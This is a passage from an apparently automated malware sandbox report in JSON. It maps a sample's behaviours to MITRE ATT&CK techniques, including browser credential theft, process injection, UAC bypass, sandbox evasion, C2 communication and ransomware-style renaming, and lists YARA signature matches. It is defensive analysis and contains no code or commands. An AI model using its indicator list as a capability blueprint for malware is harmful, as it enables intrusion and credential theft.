Model","attack_id":"T1559.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1559/001","identifiers":[{"type":"informative","value":"Contains ability to retrieve class object from a DLL object handler"}],"sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to access device drivers"},{"type":"informative","value":"Creates or modifies windows services"},{"type":"informative","value":"Creates/modifies Windows services using PowerShell"},{"type":"informative","value":"Contains ability to create/modify Windows services (Powershell command string)"},{"type":"informative","value":"Contains ability to create/control drivers (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Persistence","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Accesses System Certificates Settings"},{"type":"suspicious","value":"Modifies Software Policy Settings"},{"type":"informative","value":"Contains ability to disable/close registry key (API string)"},{"type":"informative","value":"Contains ability to modify registry key/value (API string)"},{"type":"informative","value":"Able to create/load registry keys (API string)"},{"type":"informative","value":"Able to delete registry key/value (API string)"},{"type":"informative","value":"Writes registry keys"}],"sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Persistence","technique":"Socket Filters","attack_id":"T1205.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1205/002","identifiers":[{"type":"informative","value":"Able to monitor socket connection"}],"sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Persistence","technique":"Create or Modify System Process","attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"informative","value":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Persistence","technique":"DLL","attack_id":"T1574.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1574/001","identifiers":[{"type":"informative","value":"Potential hijacking of DLL execution flow detected"}],"sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Privilege Escalation","technique":"Token Impersonation/Theft","attack_id":"T1134.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/001","identifiers":[{"type":"informative","value":"Contains ability to obtains specified information about the security of a file or directory (API string)"},{"type":"informative","value":"Contains ability to impersonate access tokens (API string)"},{"type":"informative","value":"Imports system security related APIs"}],"sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Able to modify thread functionality – possible hijack (API string)"},{"type":"informative","value":"Able to modify process memory (API string)"},{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"informative","value":"Able to inject code into another process (API string)"},{"type":"informative","value":"Found PE header in memory"}],"sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Privilege Escalation","technique":"Asynchronous Procedure Call","attack_id":"T1055.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/004","identifiers":[{"type":"informative","value":"Contains ability to queue an Asynchronous Procedure Call (APC) in a remote process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Privilege Escalation","technique":"Bypass User Account Control","attack_id":"T1548.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1548/002","identifiers":[{"type":"informative","value":"Contains ability to bypass UAC using COM object (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Privilege Escalation","technique":"ListPlanting","attack_id":"T1055.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/015","identifiers":[{"type":"informative","value":"Able to visualize and control listed components (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Privilege Escalation","technique":"Exploitation for Privilege Escalation","attack_id":"T1068","attack_id_wiki":"https://attack.mitre.org/techniques/T1068","identifiers":[{"type":"informative","value":"Opens the Kernel Security Device Driver (KsecDD) of Windows"}],"sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Privilege Escalation","technique":"Thread Local Storage","attack_id":"T1055.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/005","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"informative","value":"Contains ability to check debugger is running (API string)"},{"type":"informative","value":"Contains ability to register a top-level exception handler (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Defense Evasion","technique":"User Activity Based Checks","attack_id":"T1497.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/002","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using user activity (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"malicious","value":"Tries to hide tracks of having downloaded a file from the internet"},{"type":"suspicious","value":"Opens file with deletion access rights"},{"type":"informative","value":"Contains ability to delete files/directories (API string)"},{"type":"informative","value":"Calls an API typically used to remove a directory"}],"sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"suspicious","value":"Contains escaped byte string (often part of obfuscated shellcode)"},{"type":"informative","value":"Contains ability to decode base64 data"},{"type":"informative","value":"Able to decrypt/decode data"},{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"}],"sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Defense Evasion","technique":"Direct Volume Access","attack_id":"T1006","attack_id_wiki":"https://attack.mitre.org/techniques/T1006","identifiers":[{"type":"informative","value":"Contains ability to enumerate volumes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Defense Evasion","technique":"File and Directory Permissions Modification","attack_id":"T1222","attack_id_wiki":"https://attack.mitre.org/techniques/T1222","identifiers":[{"type":"informative","value":"Contains ability to modify file attributes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Defense Evasion","technique":"System Checks","attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using API string"}],"sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Defense Evasion","technique":"Hide Artifacts","attack_id":"T1564","attack_id_wiki":"https://attack.mitre.org/techniques/T1564","identifiers":[{"type":"informative","value":"Found virtual disk drive like strings"}],"sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Observed a high volume of repeated registry API calls (API Hammering)"},{"type":"informative","value":"Able to identify sandbox environment running process"},{"type":"informative","value":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques"},{"type":"informative","value":"Triggers a burst of requests to the same API (API Hammering)"}],"sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Defense Evasion","technique":"Mutual Exclusion","attack_id":"T1480.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1480/002","identifiers":[{"type":"informative","value":"Creates mutants"}],"sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Defense Evasion","technique":"Indicator Blocking","attack_id":"T1562.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/006","identifiers":[{"type":"informative","value":"Modifies process error mode to suppress error dialogs"}],"sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Defense Evasion","technique":"Match Legitimate Resource Name or Location","attack_id":"T1036.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1036/005","identifiers":[{"type":"informative","value":"Creates file(s) in System32 or SysWOW64 directory"}],"sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Defense Evasion","technique":"Reflective Code Loading","attack_id":"T1620","attack_id_wiki":"https://attack.mitre.org/techniques/T1620","identifiers":[{"type":"informative","value":"Loads the CLR Loader DLL"}],"sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Defense Evasion","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"informative","value":"Renames files"},{"type":"informative","value":"Drops files inside appdata directory"}],"sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Defense Evasion","technique":"Selective Exclusion","attack_id":"T1679","attack_id_wiki":"https://attack.mitre.org/techniques/T1679","identifiers":[{"type":"informative","value":"Attempts to rename multiple files with a new extension, avoiding critical system files"}],"sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Defense Evasion","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Defense Evasion","technique":"Command Obfuscation","attack_id":"T1027.010","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/010","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Defense Evasion","technique":"Code Signing","attack_id":"T1553.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1553/002","identifiers":[{"type":"informative","value":"The input sample is signed with a certificate"}],"sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Defense Evasion","technique":"Junk Code Insertion","attack_id":"T1027.016","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/016","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal from Tools","attack_id":"T1027.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/005","identifiers":[{"type":"informative","value":"XOR operations in executable file detected"}],"sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Defense Evasion","technique":"Compression","attack_id":"T1027.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/015","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Defense Evasion","technique":"Dynamic API Resolution","attack_id":"T1027.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/007","identifiers":[{"type":"informative","value":"Contains ability to dynamically determine API calls"}],"sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Defense Evasion","technique":"Encrypted/Encoded File","attack_id":"T1027.013","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/013","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Credential Access","technique":"Credentials from Password Stores","attack_id":"T1555","attack_id_wiki":"https://attack.mitre.org/techniques/T1555","identifiers":[{"type":"informative","value":"Contains string like password/secret"}],"sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Credential Access","technique":"Steal or Forge Kerberos Tickets","attack_id":"T1558","attack_id_wiki":"https://attack.mitre.org/techniques/T1558","identifiers":[{"type":"informative","value":"Able to access credential file using Kerberos"}],"sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Credential Access","technique":"OS Credential Dumping","attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"}],"sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Credential Access","technique":"Steal Web Session Cookie","attack_id":"T1539","attack_id_wiki":"https://attack.mitre.org/techniques/T1539","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Credential Access","technique":"Credentials from Web Browsers","attack_id":"T1555.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1555/003","identifiers":[{"type":"malicious","value":"Attempts to obtain browser login credentials (file access)"}],"sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve user name"},{"type":"informative","value":"Calls an API typically used to retrieve account information for specified SID"},{"type":"informative","value":"Able to retrieve usernames and/or user information (API string)"},{"type":"informative","value":"Able to query security token membership for user discovery (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Able to query system locale information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve local language"}],"sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Discovery","technique":"System Network Configuration Discovery","attack_id":"T1016","attack_id_wiki":"https://attack.mitre.org/techniques/T1016","identifiers":[{"type":"informative","value":"Able to retrieve NetBIOS or DNS name associated with the local computer"},{"type":"malicious","value":"Attempts to identify external IP address"},{"type":"informative","value":"Contains ability to retrieve the local name for a socket (API string)"},{"type":"informative","value":"Able to determine NetBIOS or DNS name associated with the local computer"},{"type":"informative","value":"Detected Suricata Alert - External IP Lookup"}],"sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Discovery","technique":"Security Software Discovery","attack_id":"T1518.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1518/001","identifiers":[{"type":"suspicious","value":"May check for the presence of a forensics/monitoring tool"},{"type":"informative","value":"Loads the debugger/analysis tool module"}],"sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Discovery","technique":"Remote System Discovery","attack_id":"T1018","attack_id_wiki":"https://attack.mitre.org/techniques/T1018","identifiers":[{"type":"informative","value":"Able to identify remote systems"}],"sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Discovery","technique":"Account Discovery","attack_id":"T1087","attack_id_wiki":"https://attack.mitre.org/techniques/T1087","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Discovery","technique":"Local Storage Discovery","attack_id":"T1680","attack_id_wiki":"https://attack.mitre.org/techniques/T1680","identifiers":[{"type":"informative","value":"Calls an API typically used to enumerate Windows drive types"}],"sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Discovery","technique":"Browser Information Discovery","attack_id":"T1217","attack_id_wiki":"https://attack.mitre.org/techniques/T1217","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Discovery","technique":"Internet Connection Discovery","attack_id":"T1016.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1016/001","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Contains ability to move file or directory (API string)"},{"type":"informative","value":"Calls an API typically used to create an instance of a named pipe"},{"type":"informative","value":"Calls an API typically used to create a named pipe"}],"sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Contains ability to create directories (API string)"},{"type":"informative","value":"Writes log files"},{"type":"informative","value":"Calls an API typically used to create a directory"}],"sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Collection","technique":"Archive via Library","attack_id":"T1560.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1560/002","identifiers":[{"type":"informative","value":"Able to compress/decompress content at runtime"}],"sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Collection","technique":"Data from Information Repositories","attack_id":"T1213","attack_id_wiki":"https://attack.mitre.org/techniques/T1213","identifiers":[{"type":"informative","value":"Contains SQL queries"}],"sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Collection","technique":"Screen Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"informative","value":"Able to capture screen (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"malicious","value":"Tries to steal browser sensitive information (file access)"},{"type":"informative","value":"Writes files in a temp directory"}],"sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Collection","technique":"Automated Collection","attack_id":"T1119","attack_id_wiki":"https://attack.mitre.org/techniques/T1119","identifiers":[{"type":"informative","value":"Shows ability to send encrypted data to the internet"}],"sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Collection","technique":"Archive Collected Data","attack_id":"T1560","attack_id_wiki":"https://attack.mitre.org/techniques/T1560","identifiers":[{"type":"suspicious","value":"Writes archive files"}],"sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Collection","technique":"Data Staged","attack_id":"T1074","attack_id_wiki":"https://attack.mitre.org/techniques/T1074","identifiers":[{"type":"informative","value":"Able to aggregate collected data, possibly for exfiltration"}],"sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"HTTP requests contain Base64 strings"},{"type":"informative","value":"HTTP requests contain custom Base62 strings"}],"sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Contains ability to write files (API string)"},{"type":"informative","value":"Contains ability to retrieve remote user information"},{"type":"informative","value":"Contains ability to transfer data using curl"},{"type":"informative","value":"Dropped files"},{"type":"informative","value":"Drops executable files inside temp directory"},{"type":"informative","value":"Drops files with image extension"},{"type":"suspicious","value":"Writes a PE file header to disc"},{"type":"suspicious","value":"Drops executable files"}],"sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Command and Control","technique":"Non-Standard Port","attack_id":"T1571","attack_id_wiki":"https://attack.mitre.org/techniques/T1571","identifiers":[{"type":"informative","value":"Contains ability to open a port and listen for incoming connection (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Command and Control","technique":"Non-Application Layer Protocol","attack_id":"T1095","attack_id_wiki":"https://attack.mitre.org/techniques/T1095","identifiers":[{"type":"informative","value":"Contains ability to communicate with C2 using Sockets (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Command and Control","technique":"Asymmetric Cryptography","attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","identifiers":[{"type":"informative","value":"References OpenSSL library string"},{"type":"informative","value":"Contains ability to perform encryption/decryption using RSA algorithm"}],"sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Command and Control","technique":"Web Service","attack_id":"T1102","attack_id_wiki":"https://attack.mitre.org/techniques/T1102","identifiers":[{"type":"informative","value":"Found domain strings related to cloud services(possible C&C communication)"}],"sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Command and Control","technique":"Symmetric Cryptography","attack_id":"T1573.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/001","identifiers":[{"type":"informative","value":"Contains ability to use AES encryption instructions"},{"type":"informative","value":"Shows ability to use encryption for command and control traffic"}],"sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Command and Control","technique":"Proxy","attack_id":"T1090","attack_id_wiki":"https://attack.mitre.org/techniques/T1090","identifiers":[{"type":"informative","value":"Contains references to RPC protocol sequence strings"}],"sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"},{"type":"informative","value":"GETs files from a web server (HTTPS)"},{"type":"informative","value":"GETs files from a web server (PE files)"},{"type":"informative","value":"Sends GET/POST requests (HTTPS)"},{"type":"informative","value":"Communicates with HTTP web server (GET/POST requests)"},{"type":"informative","value":"User Agent string indicates scripted web access"},{"type":"malicious","value":"Contacts multiple hosts"}],"sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Command and Control","technique":"Domain Generation Algorithms","attack_id":"T1568.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1568/002","identifiers":[{"type":"informative","value":"High entropy domain detected"}],"sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Command and Control","technique":"Dead Drop Resolver","attack_id":"T1102.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1102/001","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Command and Control","technique":"One-Way Communication","attack_id":"T1102.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1102/003","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Command and Control","technique":"Steganography","attack_id":"T1001.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1001/002","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over Web Service","attack_id":"T1567","attack_id_wiki":"https://attack.mitre.org/techniques/T1567","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"malicious","value":"Terminates other processes using tskill/taskkill"},{"type":"informative","value":"Contains ability to terminate a process (API string)"},{"type":"informative","value":"Calls an API used to open a process handle"}],"sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Impact","technique":"System Shutdown/Reboot","attack_id":"T1529","attack_id_wiki":"https://attack.mitre.org/techniques/T1529","identifiers":[{"type":"informative","value":"Contains ability to shutdown system"}],"sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"Able to access crypto-related API (String)"},{"type":"informative","value":"Contains reference to crypto DLLs"},{"type":"informative","value":"Contains reference to cryptographic keys"},{"type":"informative","value":"Able to import cryptographic keys (seen in ransomware)"}],"sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]}],"sandbox_signatures":[{"level":"informative","category":"Pattern Matching","name":"YARA signature match - PE executable embedded in .rsrc section","description":"YARA signature for embedded PE executable in .rsrc section matched on file \"sample.bin\"","origin":"Static Analysis","mitre_attack_id":"T1027.009","id":"yara-26","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - RSA algorithm (keys)","description":"YARA signature for RSA public and private key matched on file \"sample.bin\"","origin":"Static Analysis","mitre_attack_id":"T1027","id":"yara-62","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - Djb2 Hash Algorithm","description":"YARA signature for Djb2 Hash Algorithm matched on file \"sample.bin\"","origin":"Static Analysis","mitre_attack_id":"T1027","id":"yara-542","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to perform scheduled transfer (API string)","description":"Found reference to API \"GetSystemTimePreciseAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"sample.bin\"), Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1029","id":"string-365","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine time (API string)","description":"Found reference to API \"GetSystemTimePreciseAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"sample.bin\"), Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1124","id":"string-247","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to determine if process is running under WOW64 (API string)","description":"Found reference to API \"Call to IsWow64Process2 failed: %u\" (Indicator: \"IsWow64Process\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1057","id":"string-450","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the OS information (API string)","description":"Found reference to API \"InvalidOperation_GetVersion\" (Indicator: \"GetVersion\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1082","id":"string-171","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve file time (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1070.006","id":"string-249","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve open application windows (API string)","description":"Found reference to API \"USER32!GetWindowTextW\" (Indicator: \"GetWindowText\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1010","id":"string-141","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve path in which Windows is installed (API string)","description":"Found reference to API \"GetWindowsDirectory failed. Error code: %d\" (Indicator: \"GetWindowsDirectory\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1083","id":"string-312","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"Found reference to API (Indicator: 